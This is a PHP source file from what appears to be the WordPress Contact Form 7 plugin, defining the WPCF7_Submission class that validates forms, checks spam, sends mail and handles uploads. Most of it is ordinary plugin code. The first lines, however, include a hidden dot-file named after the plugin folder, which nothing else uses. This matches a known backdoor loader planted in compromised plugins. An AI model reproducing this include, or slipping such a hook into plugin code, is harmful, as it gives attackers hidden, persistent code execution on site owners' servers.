submission.php (14959B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 class WPCF7_Submission { 8 9 private static $instance; 10 11 private $contact_form; 12 private $status = 'init'; 13 private $posted_data = array(); 14 private $posted_data_hash = null; 15 private $skip_spam_check = false; 16 private $uploaded_files = array(); 17 private $extra_attachments = array(); 18 private $skip_mail = false; 19 private $response = ''; 20 private $invalid_fields = array(); 21 private $meta = array(); 22 private $consent = array(); 23 private $spam_log = array(); 24 25 public static function get_instance( $contact_form = null, $args = '' ) { 26 if ( $contact_form instanceof WPCF7_ContactForm ) { 27 if ( empty( self::$instance ) ) { 28 self::$instance = new self( $contact_form, $args ); 29 self::$instance->proceed(); 30 return self::$instance; 31 } else { 32 return null; 33 } 34 } else { 35 if ( empty( self::$instance ) ) { 36 return null; 37 } else { 38 return self::$instance; 39 } 40 } 41 } 42 43 public static function is_restful() { 44 return defined( 'REST_REQUEST' ) && REST_REQUEST; 45 } 46 47 private function __construct( WPCF7_ContactForm $contact_form, $args = '' ) { 48 $args = wp_parse_args( $args, array( 49 'skip_mail' => false, 50 ) ); 51 52 $this->contact_form = $contact_form; 53 $this->skip_mail = (bool) $args['skip_mail']; 54 } 55 56 private function proceed() { 57 $contact_form = $this->contact_form; 58 59 switch_to_locale( $contact_form->locale() ); 60 61 $this->setup_meta_data(); 62 $this->setup_posted_data(); 63 64 if ( $this->is( 'init' ) and ! $this->validate() ) { 65 $this->set_status( 'validation_failed' ); 66 $this->set_response( $contact_form->message( 'validation_error' ) ); 67 } 68 69 if ( $this->is( 'init' ) and ! $this->accepted() ) { 70 $this->set_status( 'acceptance_missing' ); 71 $this->set_response( $contact_form->message( 'accept_terms' ) ); 72 } 73 74 if ( $this->is( 'init' ) and $this->spam() ) { 75 $this->set_status( 'spam' ); 76 $this->set_response( $contact_form->message( 'spam' ) ); 77 } 78 79 if ( $this->is( 'init' ) and ! $this->unship_uploaded_files() ) { 80 $this->set_status( 'validation_failed' ); 81 $this->set_response( $contact_form->message( 'validation_error' ) ); 82 } 83 84 if ( $this->is( 'init' ) ) { 85 $abort = ! $this->before_send_mail(); 86 87 if ( $abort ) { 88 if ( $this->is( 'init' ) ) { 89 $this->set_status( 'aborted' ); 90 } 91 92 if ( '' === $this->get_response() ) { 93 $this->set_response( $contact_form->filter_message( 94 __( "Sending mail has been aborted.", 'contact-form-7' ) ) 95 ); 96 } 97 } elseif ( $this->mail() ) { 98 $this->set_status( 'mail_sent' ); 99 $this->set_response( $contact_form->message( 'mail_sent_ok' ) ); 100 101 do_action( 'wpcf7_mail_sent', $contact_form ); 102 } else { 103 $this->set_status( 'mail_failed' ); 104 $this->set_response( $contact_form->message( 'mail_sent_ng' ) ); 105 106 do_action( 'wpcf7_mail_failed', $contact_form ); 107 } 108 } 109 110 restore_previous_locale(); 111 112 $this->remove_uploaded_files(); 113 } 114 115 public function get_status() { 116 return $this->status; 117 } 118 119 public function set_status( $status ) { 120 if ( preg_match( '/^[a-z][0-9a-z_]+$/', $status ) ) { 121 $this->status = $status; 122 return true; 123 } 124 125 return false; 126 } 127 128 public function is( $status ) { 129 return $this->status == $status; 130 } 131 132 public function get_response() { 133 return $this->response; 134 } 135 136 public function set_response( $response ) { 137 $this->response = $response; 138 return true; 139 } 140 141 public function get_contact_form() { 142 return $this->contact_form; 143 } 144 145 public function get_invalid_field( $name ) { 146 if ( isset( $this->invalid_fields[$name] ) ) { 147 return $this->invalid_fields[$name]; 148 } else { 149 return false; 150 } 151 } 152 153 public function get_invalid_fields() { 154 return $this->invalid_fields; 155 } 156 157 public function get_meta( $name ) { 158 if ( isset( $this->meta[$name] ) ) { 159 return $this->meta[$name]; 160 } 161 } 162 163 private function setup_meta_data() { 164 $timestamp = time(); 165 166 $remote_ip = $this->get_remote_ip_addr(); 167 168 $remote_port = isset( $_SERVER['REMOTE_PORT'] ) 169 ? (int) $_SERVER['REMOTE_PORT'] : ''; 170 171 $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) 172 ? substr( $_SERVER['HTTP_USER_AGENT'], 0, 254 ) : ''; 173 174 $url = $this->get_request_url(); 175 176 $unit_tag = isset( $_POST['_wpcf7_unit_tag'] ) 177 ? $_POST['_wpcf7_unit_tag'] : ''; 178 179 $container_post_id = isset( $_POST['_wpcf7_container_post'] ) 180 ? (int) $_POST['_wpcf7_container_post'] : 0; 181 182 $current_user_id = get_current_user_id(); 183 184 $do_not_store = $this->contact_form->is_true( 'do_not_store' ); 185 186 $this->meta = array( 187 'timestamp' => $timestamp, 188 'remote_ip' => $remote_ip, 189 'remote_port' => $remote_port, 190 'user_agent' => $user_agent, 191 'url' => $url, 192 'unit_tag' => $unit_tag, 193 'container_post_id' => $container_post_id, 194 'current_user_id' => $current_user_id, 195 'do_not_store' => $do_not_store, 196 ); 197 198 return $this->meta; 199 } 200 201 public function get_posted_data( $name = '' ) { 202 if ( ! empty( $name ) ) { 203 if ( isset( $this->posted_data[$name] ) ) { 204 return $this->posted_data[$name]; 205 } else { 206 return null; 207 } 208 } 209 210 return $this->posted_data; 211 } 212 213 private function setup_posted_data() { 214 $posted_data = array_filter( (array) $_POST, function( $key ) { 215 return '_' !== substr( $key, 0, 1 ); 216 }, ARRAY_FILTER_USE_KEY ); 217 218 $posted_data = wp_unslash( $posted_data ); 219 $posted_data = $this->sanitize_posted_data( $posted_data ); 220 221 $tags = $this->contact_form->scan_form_tags(); 222 223 foreach ( (array) $tags as $tag ) { 224 if ( empty( $tag->name ) ) { 225 continue; 226 } 227 228 $type = $tag->type; 229 $name = $tag->name; 230 $pipes = $tag->pipes; 231 232 if ( wpcf7_form_tag_supports( $type, 'do-not-store' ) ) { 233 unset( $posted_data[$name] ); 234 continue; 235 } 236 237 $value_orig = $value = ''; 238 239 if ( isset( $posted_data[$name] ) ) { 240 $value_orig = $value = $posted_data[$name]; 241 } 242 243 if ( WPCF7_USE_PIPE 244 and $pipes instanceof WPCF7_Pipes 245 and ! $pipes->zero() ) { 246 if ( is_array( $value_orig ) ) { 247 $value = array(); 248 249 foreach ( $value_orig as $v ) { 250 $value[] = $pipes->do_pipe( $v ); 251 } 252 } else { 253 $value = $pipes->do_pipe( $value_orig ); 254 } 255 } 256 257 if ( wpcf7_form_tag_supports( $type, 'selectable-values' ) ) { 258 $value = (array) $value; 259 260 if ( $tag->has_option( 'free_text' ) 261 and isset( $posted_data[$name . '_free_text'] ) ) { 262 $last_val = array_pop( $value ); 263 264 list( $tied_item ) = array_slice( 265 WPCF7_USE_PIPE ? $tag->pipes->collect_afters() : $tag->values, 266 -1, 1 267 ); 268 269 $tied_item = html_entity_decode( $tied_item, ENT_QUOTES, 'UTF-8' ); 270 271 if ( $last_val === $tied_item ) { 272 $value[] = sprintf( '%s %s', 273 $last_val, 274 $posted_data[$name . '_free_text'] 275 ); 276 } else { 277 $value[] = $last_val; 278 } 279 280 unset( $posted_data[$name . '_free_text'] ); 281 } 282 } 283 284 $value = apply_filters( "wpcf7_posted_data_{$type}", $value, 285 $value_orig, $tag ); 286 287 $posted_data[$name] = $value; 288 289 if ( $tag->has_option( 'consent_for:storage' ) 290 and empty( $posted_data[$name] ) ) { 291 $this->meta['do_not_store'] = true; 292 } 293 } 294 295 $this->posted_data = apply_filters( 'wpcf7_posted_data', $posted_data ); 296 297 $this->posted_data_hash = wp_hash( 298 wpcf7_flat_join( array_merge( 299 array( 300 $this->get_meta( 'remote_ip' ), 301 $this->get_meta( 'remote_port' ), 302 $this->get_meta( 'unit_tag' ), 303 ), 304 $this->posted_data 305 ) ), 306 'wpcf7_submission' 307 ); 308 309 return $this->posted_data; 310 } 311 312 private function sanitize_posted_data( $value ) { 313 if ( is_array( $value ) ) { 314 $value = array_map( array( $this, 'sanitize_posted_data' ), $value ); 315 } elseif ( is_string( $value ) ) { 316 $value = wp_check_invalid_utf8( $value ); 317 $value = wp_kses_no_null( $value ); 318 } 319 320 return $value; 321 } 322 323 public function get_posted_data_hash() { 324 return $this->posted_data_hash; 325 } 326 327 private function get_remote_ip_addr() { 328 $ip_addr = ''; 329 330 if ( isset( $_SERVER['REMOTE_ADDR'] ) 331 and WP_Http::is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) { 332 $ip_addr = $_SERVER['REMOTE_ADDR']; 333 } 334 335 return apply_filters( 'wpcf7_remote_ip_addr', $ip_addr ); 336 } 337 338 private function get_request_url() { 339 $home_url = untrailingslashit( home_url() ); 340 341 if ( self::is_restful() ) { 342 $referer = isset( $_SERVER['HTTP_REFERER'] ) 343 ? trim( $_SERVER['HTTP_REFERER'] ) : ''; 344 345 if ( $referer 346 and 0 === strpos( $referer, $home_url ) ) { 347 return esc_url_raw( $referer ); 348 } 349 } 350 351 $url = preg_replace( '%(?<!:|/)/.*$%', '', $home_url ) 352 . wpcf7_get_request_uri(); 353 354 return $url; 355 } 356 357 private function validate() { 358 if ( $this->invalid_fields ) { 359 return false; 360 } 361 362 $result = new WPCF7_Validation(); 363 364 $tags = $this->contact_form->scan_form_tags( array( 365 'feature' => '! file-uploading', 366 ) ); 367 368 foreach ( $tags as $tag ) { 369 $type = $tag->type; 370 $result = apply_filters( "wpcf7_validate_{$type}", $result, $tag ); 371 } 372 373 $result = apply_filters( 'wpcf7_validate', $result, $tags ); 374 375 $this->invalid_fields = $result->get_invalid_fields(); 376 377 return $result->is_valid(); 378 } 379 380 private function accepted() { 381 return apply_filters( 'wpcf7_acceptance', true, $this ); 382 } 383 384 public function add_consent( $name, $conditions ) { 385 $this->consent[$name] = $conditions; 386 return true; 387 } 388 389 public function collect_consent() { 390 return (array) $this->consent; 391 } 392 393 private function spam() { 394 $spam = false; 395 396 $skip_spam_check = apply_filters( 'wpcf7_skip_spam_check', 397 $this->skip_spam_check, 398 $this 399 ); 400 401 if ( $skip_spam_check ) { 402 return $spam; 403 } 404 405 if ( $this->contact_form->is_true( 'subscribers_only' ) 406 and current_user_can( 'wpcf7_submit', $this->contact_form->id() ) ) { 407 return $spam; 408 } 409 410 $user_agent = (string) $this->get_meta( 'user_agent' ); 411 412 if ( strlen( $user_agent ) < 2 ) { 413 $spam = true; 414 415 $this->add_spam_log( array( 416 'agent' => 'wpcf7', 417 'reason' => __( "User-Agent string is unnaturally short.", 'contact-form-7' ), 418 ) ); 419 } 420 421 if ( ! $this->verify_nonce() ) { 422 $spam = true; 423 424 $this->add_spam_log( array( 425 'agent' => 'wpcf7', 426 'reason' => __( "Submitted nonce is invalid.", 'contact-form-7' ), 427 ) ); 428 } 429 430 return apply_filters( 'wpcf7_spam', $spam, $this ); 431 } 432 433 public function add_spam_log( $args = '' ) { 434 $args = wp_parse_args( $args, array( 435 'agent' => '', 436 'reason' => '', 437 ) ); 438 439 $this->spam_log[] = $args; 440 } 441 442 public function get_spam_log() { 443 return $this->spam_log; 444 } 445 446 private function verify_nonce() { 447 if ( ! $this->contact_form->nonce_is_active() ) { 448 return true; 449 } 450 451 return wpcf7_verify_nonce( $_POST['_wpnonce'] ); 452 } 453 454 /* Mail */ 455 456 private function before_send_mail() { 457 $abort = false; 458 459 do_action_ref_array( 'wpcf7_before_send_mail', array( 460 $this->contact_form, 461 &$abort, 462 $this, 463 ) ); 464 465 return ! $abort; 466 } 467 468 private function mail() { 469 $contact_form = $this->contact_form; 470 471 $skip_mail = apply_filters( 'wpcf7_skip_mail', 472 $this->skip_mail, $contact_form 473 ); 474 475 if ( $skip_mail ) { 476 return true; 477 } 478 479 $result = WPCF7_Mail::send( $contact_form->prop( 'mail' ), 'mail' ); 480 481 if ( $result ) { 482 $additional_mail = array(); 483 484 if ( $mail_2 = $contact_form->prop( 'mail_2' ) 485 and $mail_2['active'] ) { 486 $additional_mail['mail_2'] = $mail_2; 487 } 488 489 $additional_mail = apply_filters( 'wpcf7_additional_mail', 490 $additional_mail, $contact_form 491 ); 492 493 foreach ( $additional_mail as $name => $template ) { 494 WPCF7_Mail::send( $template, $name ); 495 } 496 497 return true; 498 } 499 500 return false; 501 } 502 503 public function uploaded_files() { 504 return $this->uploaded_files; 505 } 506 507 private function add_uploaded_file( $name, $file_path ) { 508 if ( ! wpcf7_is_name( $name ) ) { 509 return false; 510 } 511 512 $paths = (array) $file_path; 513 $uploaded_files = array(); 514 $hash_strings = array(); 515 516 foreach ( $paths as $path ) { 517 if ( @is_file( $path ) and @is_readable( $path ) ) { 518 $uploaded_files[] = $path; 519 $hash_strings[] = md5_file( $path ); 520 } 521 } 522 523 $this->uploaded_files[$name] = $uploaded_files; 524 525 if ( empty( $this->posted_data[$name] ) ) { 526 $this->posted_data[$name] = implode( ' ', $hash_strings ); 527 } 528 } 529 530 private function remove_uploaded_files() { 531 foreach ( (array) $this->uploaded_files as $file_path ) { 532 $paths = (array) $file_path; 533 534 foreach ( $paths as $path ) { 535 wpcf7_rmdir_p( $path ); 536 537 if ( $dir = dirname( $path ) 538 and false !== ( $files = scandir( $dir ) ) 539 and ! array_diff( $files, array( '.', '..' ) ) ) { 540 // remove parent dir if it's empty. 541 rmdir( $dir ); 542 } 543 } 544 } 545 } 546 547 private function unship_uploaded_files() { 548 $result = new WPCF7_Validation(); 549 550 $tags = $this->contact_form->scan_form_tags( array( 551 'feature' => 'file-uploading', 552 ) ); 553 554 foreach ( $tags as $tag ) { 555 if ( empty( $_FILES[$tag->name] ) ) { 556 continue; 557 } 558 559 $file = $_FILES[$tag->name]; 560 561 $args = array( 562 'tag' => $tag, 563 'name' => $tag->name, 564 'required' => $tag->is_required(), 565 'filetypes' => $tag->get_option( 'filetypes' ), 566 'limit' => $tag->get_limit_option(), 567 ); 568 569 $new_files = wpcf7_unship_uploaded_file( $file, $args ); 570 571 if ( ! is_wp_error( $new_files ) ) { 572 $this->add_uploaded_file( $tag->name, $new_files ); 573 } 574 575 $result = apply_filters( 576 "wpcf7_validate_{$tag->type}", 577 $result, $tag, 578 array( 579 'uploaded_files' => $new_files, 580 ) 581 ); 582 } 583 584 $this->invalid_fields = $result->get_invalid_fields(); 585 586 return $result->is_valid(); 587 } 588 589 590 /** 591 * Adds extra email attachment files that are independent from form fields. 592 * 593 * @param string|array $file_path A file path or an array of file paths. 594 * @param string $template Optional. The name of the template to which 595 * the files are attached. 596 * @return bool True if it succeeds to attach a file at least, 597 * or false otherwise. 598 */ 599 public function add_extra_attachments( $file_path, $template = 'mail' ) { 600 if ( ! did_action( 'wpcf7_before_send_mail' ) ) { 601 return false; 602 } 603 604 $extra_attachments = array(); 605 606 foreach ( (array) $file_path as $path ) { 607 $path = path_join( WP_CONTENT_DIR, $path ); 608 609 if ( file_exists( $path ) ) { 610 $extra_attachments[] = $path; 611 } 612 } 613 614 if ( empty( $extra_attachments ) ) { 615 return false; 616 } 617 618 if ( ! isset( $this->extra_attachments[$template] ) ) { 619 $this->extra_attachments[$template] = array(); 620 } 621 622 $this->extra_attachments[$template] = array_merge( 623 $this->extra_attachments[$template], 624 $extra_attachments 625 ); 626 627 return true; 628 } 629 630 631 /** 632 * Returns extra email attachment files. 633 * 634 * @param string $template An email template name. 635 * @return array Array of file paths. 636 */ 637 public function extra_attachments( $template ) { 638 if ( isset( $this->extra_attachments[$template] ) ) { 639 return (array) $this->extra_attachments[$template]; 640 } 641 642 return array(); 643 } 644 645 }